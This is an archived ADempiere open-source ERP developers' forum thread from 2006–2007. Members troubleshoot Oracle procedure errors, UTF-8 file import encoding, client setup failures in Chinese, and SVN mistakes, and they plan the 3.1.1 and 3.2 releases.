

ADempiere Developers Forum Volume-2



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2007-02-10 09:49:54 UTC

I checkout the latest source from trunk soon after the 314 release and compile without incident, just to see what is new and how well it is going.

All seems well, the windows cache return works like magic, much time savings compared to previous Compiere. Except that i cannot create any SO or Period record due to failure to create a new record or getting a new ID from nextID(). Anyone else got that?

2007-02-10 10:05:11 UTC

Here is what i got (looks like i may have miss some Issue step)

```
=====> MSequence.nextID: java.sql.SQLException: ORA-06550: line 1,
column 7:
```

```
PLS-00201: identifier 'NEXTID' must be declared
```

```
ORA-06550: line 1, column 7:
```

```
PL/SQL: Statement ignored
```

```
=====> MIssue.saveNew: No NextID (-1)
```

```
=====> MSequence.nextID: java.sql.SQLException: ORA-06550: line 1,
column 7:
```

```
PLS-00201: identifier 'NEXTID' must be declared
```

```
ORA-06550: line 1, column 7:
```

```
PL/SQL: Statement ignored
```

```
=====> MSequence.nextID: java.sql.SQLException: ORA-06550: line 1,
column 7:
```

```
PLS-00201: identifier 'NEXTID' must be declared
```

```
ORA-06550: line 1, column 7:
```

```
PL/SQL: Statement ignored
```

```
=====> MIssue.saveNew: No NextID (-1)
```

```
=====> MSession.saveNew: No NextID (-1)
```

```
17:55:01.312 WFPANEL.<init>: RW=false
```

2007-02-10 16:22:29 UTC

Hi Redhuan, there must be a NEXTID procedure in oracle database.

Maybe your import failed to create functions and procedures.

Regards,

Carlos Ruiz - globalqss

<http://globalqss.com>

2007-02-11 11:52:23 UTC

Thanks Carlos, i run all the procs in the source>db>database and it is solved. Happened before.

2007-02-11 19:42:48 UTC

> Thanks Carlos, i run all the procs in the source>db>database
> and it is solved. Happened before.

Hmmmm, I don't know if there is someone maintaining such directory. I think the scripts there are outdated.

If the official will be in future ddlutils directory, I consider prudent to delete the db/database directory.

What do you think?

Regards,

Carlos Ruiz

2007-02-12 00:09:27 UTC

So those scripts are now replaced by ddutils? How will ddutils bring in such replacements? Aren't they run during ImportADempiere.bat? If things are not needed its good to take them off the main trunk.

2007-02-12 00:51:17 UTC

If there is no error during import, the functions and procedure should all be there already. Btw, I don't know who started it, it is ddlutils, not ddutils :)

Agree we should remove those under the database folder, it is not maintained.

2007-02-12 00:52:27 UTC

btw, I remember having some problem import using Oracle 10g Release 1, make sure you are using release 2 instead.

2007-02-12 02:53:07 UTC

Thanks Hengsin,

So, in future without those stored procs, and having ddlutils, will the ImportADempiere take care of that, or taken care elsewhere?

2007-02-12 02:58:30 UTC

ImportAdempiere will remain as it is. The oracle seed will have all the required functions and store procedure in it.

2007-02-11 17:16:43 UTC

Hi!

It seems that trunk/migration/313-314/*.sql are Oracle versions. How should version migration be done on PostgreSQL? Most of these scripts need only minor modifications but there are two procedures (M_PriceList_Create, currencyRate) that should be replaced with a new version that even don't exist postgres.

thanks in advance,
Gábor

2007-02-11 19:50:14 UTC

Hi Gabor

> there are two procedures (M_PriceList_Create, currencyRate)

You can dismiss those scripts for postgres port.

Those procedures were ported to java (they are in beta status) and postgres port is using them.

So, it will be good if you help us to test them.

Regards,

Carlos Ruiz

2007-02-12 14:13:59 UTC

Thanks for the information!

Sure I'll continue testing as soon as I manage to setup my testdata again. (Has been stuck with it for weeks...)

Gábor

2007-02-11 03:38:36 UTC

Hi,

```
Line in VFileImport.java: BufferedReader in = new BufferedReader(new  
InputStreamReader(new FileInputStream(chooser.getSelectedFile()), "UTF-8"), 10240);
```

in actual, I found this is a problem:

1. Chinese accounting file can't directly import into system
2. if convert to utf-8 used native2ascii.exe, this function will direct read by utf-8 code.

how to resolve it?

2007-02-11 11:47:51 UTC

Hello,

It was me who changed the VFileImport class to open the files in UTF-8 (rev 1313). As I know the Chinese characters are supported by UTF-8. The change was made because default java file.encoding is a little unsure.

I need to ask the developers from Asia, how you handle this situation ?
Maybe we need to add some adempiere's file encoding property to handle this situation ?

Best regards,
Teo Sarca

2007-02-11 11:59:10 UTC

Teo,
I heard about Chinese been supported by UTF-8 too.

Noah,
In this case is it the Accts file not been in UTF-8? Can we store that file in right ASCII or always run that native2ascii.exe?

2007-02-11 15:40:34 UTC

Hi,

Accts File have been coverted into utf-8, after reading, it will display string like "\uxxxx", not decode correctly. maybe we should display it and update to db after decoding again.

2007-02-11 19:39:58 UTC

Teo, I had problems this weekend importing a business partner file.

I created my business partner in Windows XP -> Excel. Then saved as CSV.
The file looks ok opening with any editor in windows xp (gvim, notepad, wordpad, etc).

But when I import the file the spanish special characters or vowels with tilde are replaced by a box (like ñ or é)

This will be a big problem for my installations in spanish language.

I think if rev 1313 has opened these problems, maybe is better to reverse it while we found a common ground.

Or maybe is my problem that I don't know how to save or translate a CSV file to UTF-8 format?

Regards,

Carlos Ruiz

2007-02-11 20:51:53 UTC

Hi Carlos,

> I created my business partner in Windows XP -> Excel. Then saved as CSV.
> The file looks ok opening with any editor in windows xp (gvim, notepad, wordpad, etc).

As i know Excel has some issues with saving CSV using UTF-8... i used OpenOffice - Calc which really saves UTF-8 files.

> I think if rev 1313 has opened these problems, maybe is better to reverse it while we found a common ground.

We have 2 possibilities for now:

1. revert 1313
2. save files in UTF-8 format

What you think ?

PS: this is the bug's

page: http://sourceforge.net/tracker/index.php?func=detail&aid=1619158&group_id=176962&atid=879332

Best regards,
Teo Sarca

2007-02-11 21:39:15 UTC

Hi Teo,

>We have 2 possibilities for now:

>1. revert 1313

>2. save files in UTF-8 format

>

>What you think ?

My vote is: [+1] Use OpenOffice. Moreover OpenOffice works on Linux while MS Excel not.

Let's forget for programs which do not work correctly.

Kind regards,

Trifon

2007-02-11 22:13:08 UTC

Hi

> My vote is: [+1] Use OpenOffice. Moreover OpenOffice works on Linux

> while MS Excel not.

> Let's forget for programs which do not work correctly.

Unfortunately this is not my decision, it's a decision from my customers, and they're who prepare the CSV files.

I don't want to compel my customers to use a program they don't know or trust enough :-)

>We have 2 possibilities for now:

>1. revert 1313

>2. save files in UTF-8 format

>What you think ?

Really I don't want to revert 1313 if it solves problems on other languages. But I think we must solve also the problem for customers using MS-Excel (must be a lot!).

I don't know how difficult can be (I suppose is not so difficult) if we add a new type for "Import Loader Format".

Currently there are: Comma Separated, Fixed Position, Tab Separated

We could add a new type

- Comma Separated UTF-8

and open the BufferedReader according to the selected type.

And everybody happy :-) What do you think?

Regards,

Carlos Ruiz

2007-02-11 22:58:32 UTC

Hi Carlos,

>We could add a new type
>- Comma Separated UTF-8
>and open the BufferedReader according to the selected type.
>
>And everybody happy :-) What do you think?

I think that it is better to add new field ENCODING, else we will have to duplicate all existing types:

Comma Separated UTF-8

Fixed Position UTF-8

Tab Separated UTF-8

Kind regards,
Trifon

2007-02-12 08:04:06 UTC

Hello,

I think is better to add the "File Encoding" filed on the Preferences window, which will be saved in the "Adempiere.properties" file, using org.compiere.util.Ini class. The list of encodings will be obtained using Charset.availableCharsets(). First time you run Adempiere, the default will be Charset.defaultCharset().

What you think ?

Best regards,
Teo Sarca

2007-02-12 09:42:09 UTC

Hi Teo,

>I think is better to add the "File Encoding" filed on the Preferences window, which will be >saved in the "Adempiere.properties" file, using org.compiere.util.Ini class. The list of >encodings will be obtained using Charset.availableCharsets(). First time you run Adempiere, >the default will be Charset.defaultCharset().

>

>What you think ?

We can add both.

Encoding at system level and at import format level. In this case user will have flexibility to overwrite system encoding and use specific encoding in import.

My proposal is:

If encoding at file import level is not set then use encoding from preferences.

Kind regards,
Trifon

2007-02-12 17:25:22 UTC

Hi,

Check

out https://sourceforge.net/tracker/index.php?func=detail&aid=1658127&group_id=176962&atid=879335

Best regards,
Teo Sarca

2007-02-12 18:45:18 UTC

Hi!

Using Zoom on Price List->Version->Price List Schema opens Discount Schema window instead of the Price List Schema.

Regards,
Gábor

2007-02-12 20:06:37 UTC

I've seen that before, but had forgotten about it.

It seems the PriceList Schema is stored in the M_DiscountSchema table. The default window for that table is of course the Discount Schema window.

Re-Use of the table is foiling the brilliance of the AD zoom to intelligence.

Don't know a good answer for this one...

jsSolutions
idalica.com

2007-02-13 02:38:43 UTC

Hi,

At present, we can create a new client only in english environment, not another language like chinese, it spent many time in this point, as we have known opensource project is lack of detail document.

I review source code, I can't see any special point, so to enhance this could bring newbie like me more convenience.

Best Wishes

2007-02-13 02:52:57 UTC

Hi Noah, I don't understand very well your issue

> At present, we can create a new client only in english environment,
> not another language like chinese

I reviewed the form org.compiere.apps.form.VSetup and all the messages are taken from translation.

Regards,

Carlos Ruiz

2007-02-13 03:13:15 UTC

Hi, Carlos

I am trying create a new client entity with menu initial client setup now, I found I can successfully create client only following steps:

- 1) Login as System and System Administrator in english
- 2) select menu initial client setup
- 3) OK

However, do:

- 1) Login as System and System Administrator in chinese
- 2) select menu initial client Setup
- 3) failure " Client Info not created"

Additionally, I also see same topic in the forum, but no really solution. so I believe that this is a problem.

2007-02-13 03:52:08 UTC

Noah, I can create new clients with spanish language without problems.

Look if the following query return 17 rows (replace es_MX by your language):

```
SELECT l.VALUE, t.NAME
FROM ad_ref_list l, ad_ref_list_trl t
WHERE l.ad_reference_id = 120
AND l.ad_ref_list_id = t.ad_ref_list_id
AND l.isactive = 'Y'
AND t.ad_language = 'es_MX'
```

Also take a look at the console to see errors or warnings.
You can also raise the log level in preferences to see in depth the failure point.

Regards,

Carlos Ruiz

2007-02-13 04:40:23 UTC

hi, Carlos

System can't update table AD_TREE with name "client8 □□", this "client8 □□" is chinese string, which is unique difference with english or MX env.

I guess a possibility is that System can't create client successfully with spanish special charset, if so, this Encoding problem, or column has another constraint

I have checked data in CN and MX, all is same except for name translated

Special Info: Compiere 2.60a have same question.

Regards
Noah Liu

Following is log

```
-----
12:06:35.960 MTree_Node.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_TreeNode - AD_Tree_ID=1000034 AND Node_ID=0 [14]
12:06:35.980 MTree_Base.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_Tree - AD_Tree_ID=1000035 [14]
12:06:35.990 MTree_Node.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_TreeNode - AD_Tree_ID=1000035 AND Node_ID=0 [14]
12:06:36.010 MTree_Base.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
```

AD_Tree - AD_Tree_ID=1000036 [14]
12:06:36.020 MTree_Node.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_TreeNode - AD_Tree_ID=1000036 AND Node_ID=0 [14]
12:06:36.040 MTree_Base.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_Tree - AD_Tree_ID=1000037 [14]
12:06:36.050 MTree_Node.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_TreeNode - AD_Tree_ID=1000037 AND Node_ID=0 [14]
12:06:36.070 MTree_Base.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_Tree - AD_Tree_ID=1000038 [14]
12:06:36.080 MTree_Node.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_TreeNode - AD_Tree_ID=1000038 AND Node_ID=0 [14]
12:06:36.090 MTree_Base.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_Tree - AD_Tree_ID=1000039 [14]
=====> DB.executeUpdate: INSERT INTO AD_Tree
(AD_Client_ID,AD_Org_ID,AD_Tree_ID,Created,CreatedBy,IsActive,IsAllNodes,IsDefault,Name,Processing,TreeType,Updated,UpdatedBy) VALUES
(1000002,0,1000039,TO_DATE('2007-02-13 12:06:36','YYYY-MM-DD
HH24:MI:SS'),0,'Y','Y','N','client8 □□','N','MC',TO_DATE('2007-02-13
12:06:36','YYYY-MM-DD HH24:MI:SS'),0) [Setup_73faa1cc-0273-49ac-9a2e-
0222561b5fba] [14]
java.sql.SQLException: ORA-00001: unique constraint
(ADEMPIERE.AD_TREE_NAME) violated
; State=23000; ErrorCode=1
at oracle.jdbc.driver.DatabaseError.throwSQLException(DatabaseError.java:125)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:305)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:272)
at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:623)
at oracle.jdbc.driver.T4CPreparedStatement.doOall8(T4CPreparedStatement.java:181)
at
oracle.jdbc.driver.T4CPreparedStatement.execute_for_rows(T4CPreparedStatement.java:
543)
at
oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1028)
at
oracle.jdbc.driver.OracleStatement.doScrollExecuteCommon(OracleStatement.java:3753
)
at
oracle.jdbc.driver.OraclePreparedStatement.doScrollPstmtExecuteUpdate(OraclePrepara
dStatement.java:8829)
at
oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.jav
a:2886)
at
oracle.jdbc.driver.OraclePreparedStatement.executeUpdate(OraclePreparedStatement.jav
a:2960)
at org.compiere.util.CPreparedStatement.executeUpdate(CPreparedStatement.java:178)

```
at org.compiere.util.DB.executeUpdate(DB.java:989)
at org.compiere.util.DB.executeUpdate(DB.java:896)
at org.compiere.model.PO.saveNew(PO.java:2260)
at org.compiere.model.PO.save(PO.java:1791)
at org.compiere.model.MClient.setupClientInfo(MClient.java:362)
at org.compiere.model.MSetup.createClient(MSetup.java:144)
at org.compiere.apps.form.VSetup.run(VSetup.java:419)
at org.compiere.apps.form.FormFrame$2.run(FormFrame.java:358)
```

```
-----
12:06:36.430 MIssue.create: INSERT INTO AD_Tree
(AD_Client_ID,AD_Org_ID,AD_Tree_ID,Created,CreatedBy,IsActive,IsAllNodes,IsDefault,Name,Processing,TreeType,Updated,UpdatedBy) VALUES
(1000002,0,1000039,TO_DATE('2007-02-13 12:06:36','YYYY-MM-DD
HH24:MI:SS'),0,'Y','Y','N','client8 □□','N','MC',TO_DATE('2007-02-13
12:06:36','YYYY-MM-DD HH24:MI:SS'),0) [Setup_73faa1cc-0273-49ac-9a2e-
0222561b5fba] [14]
12:06:37.111 MIssue.saveNew: AD_Issue - AD_Issue_ID=1000035 [14]
=====> DB.saveError: DBExecuteError - ORA-00001: unique constraint
(ADEMPIERE.AD_TREE_NAME) violated
[14]
```

```
-----
-----> MTree_Base.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba]Not
inserted - INSERT INTO AD_Tree
(AD_Client_ID,AD_Org_ID,AD_Tree_ID,Created,CreatedBy,IsActive,IsAllNodes,IsDefault,Name,Processing,TreeType,Updated,UpdatedBy) VALUES
(1000002,0,1000039,TO_DATE('2007-02-13 12:06:36','YYYY-MM-DD
HH24:MI:SS'),0,'Y','Y','N','client8 □□','N','MC',TO_DATE('2007-02-13
12:06:36','YYYY-MM-DD HH24:MI:SS'),0) [14]
12:06:37.572 MTree_Node.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba] -
AD_TreeNode - AD_Tree_ID=1000039 AND Node_ID=0 [14]
=====> DB.executeUpdate: INSERT INTO AD_TreeNode
(AD_Client_ID,AD_Org_ID,AD_Tree_ID,Created,CreatedBy,IsActive,Node_ID,SeqNo,
Updated,UpdatedBy) VALUES (1000002,0,1000039,TO_DATE('2007-02-13
12:06:37','YYYY-MM-DD HH24:MI:SS'),0,'Y',0,0,TO_DATE('2007-02-13
12:06:37','YYYY-MM-DD HH24:MI:SS'),0) [Setup_73faa1cc-0273-49ac-9a2e-
0222561b5fba] [14]
java.sql.SQLException: ORA-02291: integrity constraint
(ADEMPIERE.ADTREE_ADREENODE) violated - parent key not found
; State=23000; ErrorCode=2291
at oracle.jdbc.driver.DatabaseError.throwSQLException(DatabaseError.java:125)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:305)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:272)
at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:623)
at oracle.jdbc.driver.T4CPreparedStatement.doOall8(T4CPreparedStatement.java:181)
at
```

```
oracle.jdbc.driver.T4CPreparedStatement.execute_for_rows(T4CPreparedStatement.java:
543)
at
oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1028)
at
oracle.jdbc.driver.OracleStatement.doScrollExecuteCommon(OracleStatement.java:3753
)
at
oracle.jdbc.driver.OraclePreparedStatement.doScrollPstmtExecuteUpdate(OraclePrepare
dStatement.java:8829)
at
oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.jav
a:2886)
at
oracle.jdbc.driver.OraclePreparedStatement.executeUpdate(OraclePreparedStatement.jav
a:2960)
at org.compiere.util.CPreparedStatement.executeUpdate(CPreparedStatement.java:178)
at org.compiere.util.DB.executeUpdate(DB.java:989)
at org.compiere.util.DB.executeUpdate(DB.java:896)
at org.compiere.model.PO.saveNew(PO.java:2260)
at org.compiere.model.PO.save(PO.java:1791)
at org.compiere.model.MTree_Base.afterSave(MTree_Base.java:361)
at org.compiere.model.PO.saveFinish(PO.java:1815)
at org.compiere.model.PO.saveNew(PO.java:2286)
at org.compiere.model.PO.save(PO.java:1791)
at org.compiere.model.MClient.setupClientInfo(MClient.java:362)
at org.compiere.model.MSetup.createClient(MSetup.java:144)
at org.compiere.apps.form.VSetup.run(VSetup.java:419)
at org.compiere.apps.form.FormFrame$2.run(FormFrame.java:358)
```

```
-----
12:06:37.712 MIssue.create: INSERT INTO AD_TreeNode
(AD_Client_ID,AD_Org_ID,AD_Tree_ID,Created,CreatedBy,IsActive,Node_ID,SeqNo,
Updated,UpdatedBy) VALUES (1000002,0,1000039,TO_DATE('2007-02-13
12:06:37','YYYY-MM-DD HH24:MI:SS'),0,'Y',0,0,TO_DATE('2007-02-13
12:06:37','YYYY-MM-DD HH24:MI:SS'),0) [Setup_73faa1cc-0273-49ac-9a2e-
0222561b5fba] [14]
```

```
12:06:37.772 MIssue.saveNew: AD_Issue - AD_Issue_ID=1000036 [14]
=====> DB.saveError: DBExecuteError - ORA-02291: integrity constraint
(ADEMPIERE.ADTREE_ADTREENODE) violated - parent key not found
[14]
```

```
-----
-----> MTree_Node.saveNew: [Setup_73faa1cc-0273-49ac-9a2e-0222561b5fba]Not
inserted - INSERT INTO AD_TreeNode
(AD_Client_ID,AD_Org_ID,AD_Tree_ID,Created,CreatedBy,IsActive,Node_ID,SeqNo,
Updated,UpdatedBy) VALUES (1000002,0,1000039,TO_DATE('2007-02-13
```

12:06:37,'YYYY-MM-DD HH24:MI:SS'),0,'Y',0,0,TO_DATE('2007-02-13
12:06:37,'YYYY-MM-DD HH24:MI:SS'),0) [14]
=====> MClient.setupClientInfo: Tree NOT created: client8 [14]

12:06:37.882 MIssue.create: Tree NOT created: client8 [14]
12:06:37.952 MIssue.saveNew: AD_Issue - AD_Issue_ID=1000037 [14]
=====> MSetup.createClient: Client Info NOT created [14]

2007-02-13 05:23:21 UTC

Hi,

I've reproduce this error and raise a bug report for this.

http://sourceforge.net/tracker/index.php?func=detail&aid=1658609&group_id=176962&atid=879332

Regards,
Low

2007-02-13 06:14:35 UTC

Hi,

This is cause by an error in the language pack where both campaign and actitivies is translated as which cause the unique constraint error.

2007-02-13 07:04:05 UTC

http://sourceforge.net/tracker/index.php?func=detail&aid=1658661&group_id=176962&atid=879334

2007-02-12 01:22:45 UTC

I mistakenly committed to tags 314 while it's supposed to trunk. How do I restore that ?

Kindly,

Armen

2007-02-12 02:50:34 UTC

Let the admins in CC do that, Armenz. You just proceed to commit again under trunk. It was a honest small mistake, no worry. But if the CC thinks otherwise, i hope they comment here.

If your codes are too complex then better submit under patches. Also provide good testing and comments about testing before committing.

regards
red1

2007-02-12 09:56:35 UTC

Thank you, Red1. The following revisions can be deleted.

- Revision 1473

<http://adempiere.svn.sourceforge.net/viewvc/adempiere/tags/adempiere314/base/src/org/compiere/process/InventoryCountCreate.java?view=log>

- Revision 1474

http://adempiere.svn.sourceforge.net/viewvc/adempiere/tags/adempiere314/serverRoot/src/main/server/org/compiere/acct/Doc_Allocation.java?view=log

Kindly,

Armen

2007-02-12 17:47:12 UTC

Hi Armen. They were reverted with revision 1521.

Really revert operation is made with a new commit with previous version, so I think everyone with commit permissions can do it.

BTW, I use TortoiseSVN and this client advised me when I try to commit on a tagged release.

Thanks for your contributions.

Regards,

Carlos Ruiz

2007-02-13 08:19:29 UTC

Thank you Carlos.

I use Tortoise client too, but never get the warning. Maybe I have to look at the setting or upgrade to newer version.

Rgds,

Armen

2007-02-13 10:01:39 UTC

Does any of you how to distribute landed costs by amount value of the item we receive?

If we have

- 0. item name, item qty, item amount
- 1. computer, 1, 400\$
- 2. computer2, 1, 600\$

Now we have 1000\$ landed costs and I want to distribute them based on the value amount, so...

- 0. item name, item qty, item amount, landed cost distribution
- 1. computer, 1, 400\$, 400\$
- 2. computer2, 1, 600\$, 600\$

Can any of you please help on this one. This is very important for our business process, and it is a big obstacle for implementation of Adempiere.

Thanks, Fuad

2007-02-13 10:23:57 UTC

When i am trying to generate the model for a table i get:

```
[java] =====> GenerateModel.createHeader: SELECT TableName,
AccessLevel FROM AD_Table WHERE AD_Table_ID=?
[java] java.sql.SQLException: Fail to convert to internal representation; State=null;
ErrorCode=0
[java] at
oracle.jdbc.rowset.OracleCachedRowSet.getNumber(OracleCachedRowSet.java:4594)
[java] at
oracle.jdbc.rowset.OracleCachedRowSet.getInt(OracleCachedRowSet.java:4793)
[java] at org.compiere.util.GenerateModel.createHeader(GenerateModel.java:106)
.....
```

Does anybody has this problem ?

== Solution ==

my quick solution was to edit GenerateModel class, line 106:
accessLevel = Integer.parseInt(rs.getString(2)); // teo_sarca

Best regards,
Teo Sarca

2007-02-13 18:06:43 UTC

I suppose it can be because a bad value in Access Level column.

Have you checked that?

```
SELECT DISTINCT AccessLevel FROM AD_Table
```

Regards,

Carlos Ruiz

2007-02-13 18:34:23 UTC

Hi Carlos,

> I suppose it can be because a bad value in Access Level column.

Nope. The problem is that the AD_Table.AccessLevel is CHAR(1) and when retrieve from database:

```
select TableName, AccessLevel from AD_Table ....
```

then,

rs.getInt(2) fails because the field is String.

> Have you checked that?

> SELECT DISTINCT AccessLevel FROM AD_Table

```
ACCESSLEVEL
```

```
-----
```

```
1
```

```
3
```

```
6
```

```
7
```

```
4
```

```
2
```

Best regards,
Teo Sarca

2007-01-23 05:47:38 UTC

Hello community.

Commit Committee is going to conduct a weekly meeting on IRC channel #adempiere-team (on irc.freenode.net) to discuss technical issues.

This new channel is created specifically for technical discussions (not for support) and will be logged and published on wiki.

Time: 15:00 GMT
Day: Every Tuesday

First meeting:

Tuesday January 23th (today) 15:00 GMT

** this is 9:00 Mexico, 10:00 Colombia, 17:00 Bulgaria, 23:00 Malaysia

Objective: Discuss some of the trackers on sourceforge

Everyone is invited to participate and enrich the discussion.

Regards,

Carlos Ruiz

2007-01-23 08:27:25 UTC

Hi Carlos,

I would like to inform you that today (January 23th) i will not be able to attend, as i have to be out of my town for one day.

Kind regards,
Trifon

2007-01-23 19:43:40 UTC

Hi everybody, you can find the discussions here (full and summary):

http://www.adempiere.com/wiki/index.php/CC_Meetings

As always editing is open and comments are welcome in the discussion (Talk) tab.

Regards,

Carlos Ruiz

2007-02-06 05:32:07 UTC

Hi community, today (Feb-6 15:00 GMT) it won't be CC meeting.

Next meeting is scheduled at Feb-13

Proposed themes to discuss:

From Heng Sin:

1. Plan and status for 3.2
 - target date
 - what are the remaining work
 - testing resources from community
2. Organization of SF Tracker
 - Category and Group

From Victor and Bahman:

- Discuss about the Rule Engine

Regards,

Carlos Ruiz

2007-02-06 05:44:00 UTC

Hi all,

I would like to add Business Intelligence (BI) to the list of proposed items.

Regards,
Low

2007-02-06 20:49:55 UTC

Hi,

I think we have to discuss the client security also.

Regards,
Karsten

2007-02-13 21:37:23 UTC

Hi community, today meeting is published here:

http://www.adempiere.com/wiki/index.php/CC_Meeting_Exec_20070213

IMPORTANT ISSUE:

Plan to release 3.2 stable -> target date look there :-)

We need help from the whole community for the QA cycle.
Please start preparing your resources for that.

3.2 MUST BE THE MOST STABLE RELEASE THAT YOU HAVEN'T SEEN BEFORE!!!!

>> AND WITH THE BEST PERFORMANCE (specially thanks to Hengsin performance enhancements)

Regards,

Carlos Ruiz

2007-02-15 04:38:32 UTC

Hi, Guys

I spent several days for adempire function, I found there are some point that make me confusion as following:

1) Report need improvement

a). Selection of Report Element have not any rule, All Related Element is included in report. It give me many confusion.

b). In actual enterprise environment, Paper specification which most used is A4 A3, So that we design report should follow this constraint, But I found that any paper is not fit in most report such as order detail etc.

if Adempire can focus on these details, Usability can be improved deeply.

2) Role and User when creating client

When creating new client, field "User/Contact Client" and "User/Contact Organization" give me more confusion. from name this should be a entity, however After created client successfully, Rlogin, we can see this appear in role Dropdown list. Is it Role?

3) Modularization

I personally consider that Adempire should found a way for code reorganization, Setup Package is very clear, but source directory is difficult for study and extension

Best Wishes

Noah

2007-02-15 05:10:28 UTC

Hi noah,

First thanks for your feedback. It will be good if you can open a bug report or feature request for the usability issue you have encountered. Of course, it will be even nicer if you can contribute patches for that as well :)

For report, you can customize the fields to display using the print format window to fit in the intended paper size.

Regards,
Low Heng Sin
Adempiere Development Team

2007-02-15 06:19:55 UTC

Hi,
I have issue product to Project. Then go in to project issue tab and try to post the entries.
Following error popup.

```
<html>
<head>

</head>
<body>
<b>Posting Error</b>

<p>
RemoteException occurred in server thread; nested exception is:
</p>
<p>
java.rmi.ServerException: RuntimeException; nested exception
is:<br>java.lang.UnsupportedOperationException:
No DocumentNo
</p>
</body>
</html>
```

Is this a bug in project module.
I am using Compiere 2.5.3b

Regards,
GHAT.

2006-10-26 16:57:44 UTC

Community,

We are ready to go for the final push to get 3.1.1 released.

The scope of this release that has been agreed is to take 2.5.3d, add the changes we included in Adempiere 3.1 plus bug fixes we have found in the QA testing and release this as Adempiere 3.1.1 under a GPL license.

Breakdown of activities is: (please add/modify if missing/incorrect)

1. Make 2.5.3d trunk of 3.1.1

Done

2. Include support for Postgres

Work in progress by Victor/Fernando

3. Include support for XE

Work in progress by Trifon

4. Migration tool compatibility

Done by karsten-thiemann (please confirm this is complete)

5. Tango Icons based Facelifting

Todo Victor

6. Include freepdf libraries

todo ?? (accepting volunteers)

7. New graphical display for performance dashboard

Todo Victor

8. Run Adempiere Rebranding script and review

Todo Pelgrim (if back from holiday)

9. Include in 3.1.1 bugs fixed in 3.1.0

work in progress olivensteins et al (accepting volunteers)

We are tentatively setting a release date for November 10th.

Please feel free to comment and add if I have missed anything

Regards

Ramiro

2006-10-26 18:29:37 UTC

Hi Adempiere folks!

I created some task to release Adempiere 3.1.1,

Ramiro you can see the status here:

https://sourceforge.net/pm/task.php?group_project_id=49722&group_id=176962&func=browse

On the other hand I think we should coordinate better the next release, Is by that reason we need to assing tasks and due date

I suggest we manage the SF Tasks , When every body set their end date for their tasks we can have the release date

please give your feedbacks and update the tasks if you are interested in someone

What do you think about this?

Red do you have any suggestion?

Regards
Victor Perez
<http://www.e-evolution.com>

2006-10-26 18:36:25 UTC

- > 8. Run Adempiere Rebranding script and review
- > Todo Pelgrim (if back from holiday)

I think it was already done by Olivenstein.
I tested yesterday.

Regards,

Carlos Ruiz

2006-10-26 18:40:08 UTC

- > On the other hand I think we should coordinate better the next release,
- > Is by that reason we need to assign tasks and due date

This is a bazaar with people sometimes very busy, sometimes with time for help, but all eager to contribute :-)

This is why I think that due date is very difficult here. Unless you have paid employees working on this.

I think is better to "release early and update often", ask for help if you are short of time. I mean, when a process is in course by someone, he can state what he's doing, commit daily and ask for help to others in some tasks.

Regards,

Carlos Ruiz

2006-10-26 20:02:47 UTC

I agree with Carlos.

I believe a reverse engineering approach of setting a tentative target date and everybody contributing to try to meet that date works better than setting individual task due dates. In the meantime let's try to complete all the outstanding items as soon as we can so we can have a GPL based core product as soon as it is feasible.

Regards

Ramiro

2006-10-26 21:31:04 UTC

Some questions/concerns about 3.1.1 based on 253d:

1) Probably the biggest concern I have is related to release cycles. I was under the impression that we were operating on a odd/even approach. Odd releases were development releases, even were stable. So 3.1 is development to test all the "stuff" going into the release. Once thru testing and QA it would be released as 3.2. If this is correct then switching from 253b to 253d as the code base seems extreme, and should probably wait until post 3.2.

2) Are we talking about the latest release of Compiere under GPL on svn.compiere.com/org/? Or are we talking about the "released and then revoked" version that was available to partners for a very short period of time several months ago? There were some fairly substantial changes that we actually might not want. New functionality includes the Collaboration Management module. I've never tried it out so I cannot comment on it's usefulness. Technically some changes were also made. I think mostly on the thick client UI code to support new caching, which has created minor problems for us. And a very good architect gave the opinion that the caching should be "thrown out" because it was kind of a hack intended to improve UI performance. And there are changes that will affect customizations such as a switch to using GridWindow/Tab/Field instead of MWindow/Tab/Field.

2006-10-26 22:05:16 UTC

Vince,

Thanks for your post.

The switch to a ocre based on 2.5.3d is purely motivated to have a gpl license rather than the current MPL. This was debated here:

https://sourceforge.net/forum/forum.php?thread_id=1593842&forum_id=610548

We had to plan this in a short time because, Compiere, coincidentally, released a gpl version the day we release 3.1 and we really wanted a GPL based product to be our foundation for the time to come, I understand this may appear as a precipitated release

but the sooner we do the switch the better for our development plans since we would not need to reapply much changes in the new core. In the road map in the wiki it is explained that 3.1.x development releases would finally become 3.2 after all the QA has generated an industry strength version of the product.

In summary, yes we are planning to use 2.5.3d GPL as per the SVN server in Compiere.

Are your comments on flaky design and functionality related to this 2.5.3d or they are related to the set of "2.5.3d" releases privately released to partners?

Regards

Ramiro

2006-10-26 22:20:19 UTC

re: switch to a core based on 2.5.3d is purely motivated to have a gpl license
I thought we had agreed that the CPL 1.1 allowed use to distribute the covered code (253b) under any subsequent license? ... namely CPL 1.2 which is the new GPL based license.

I haven't been around much these last couple of weeks, but I was surprised to see 3.1.1 too!

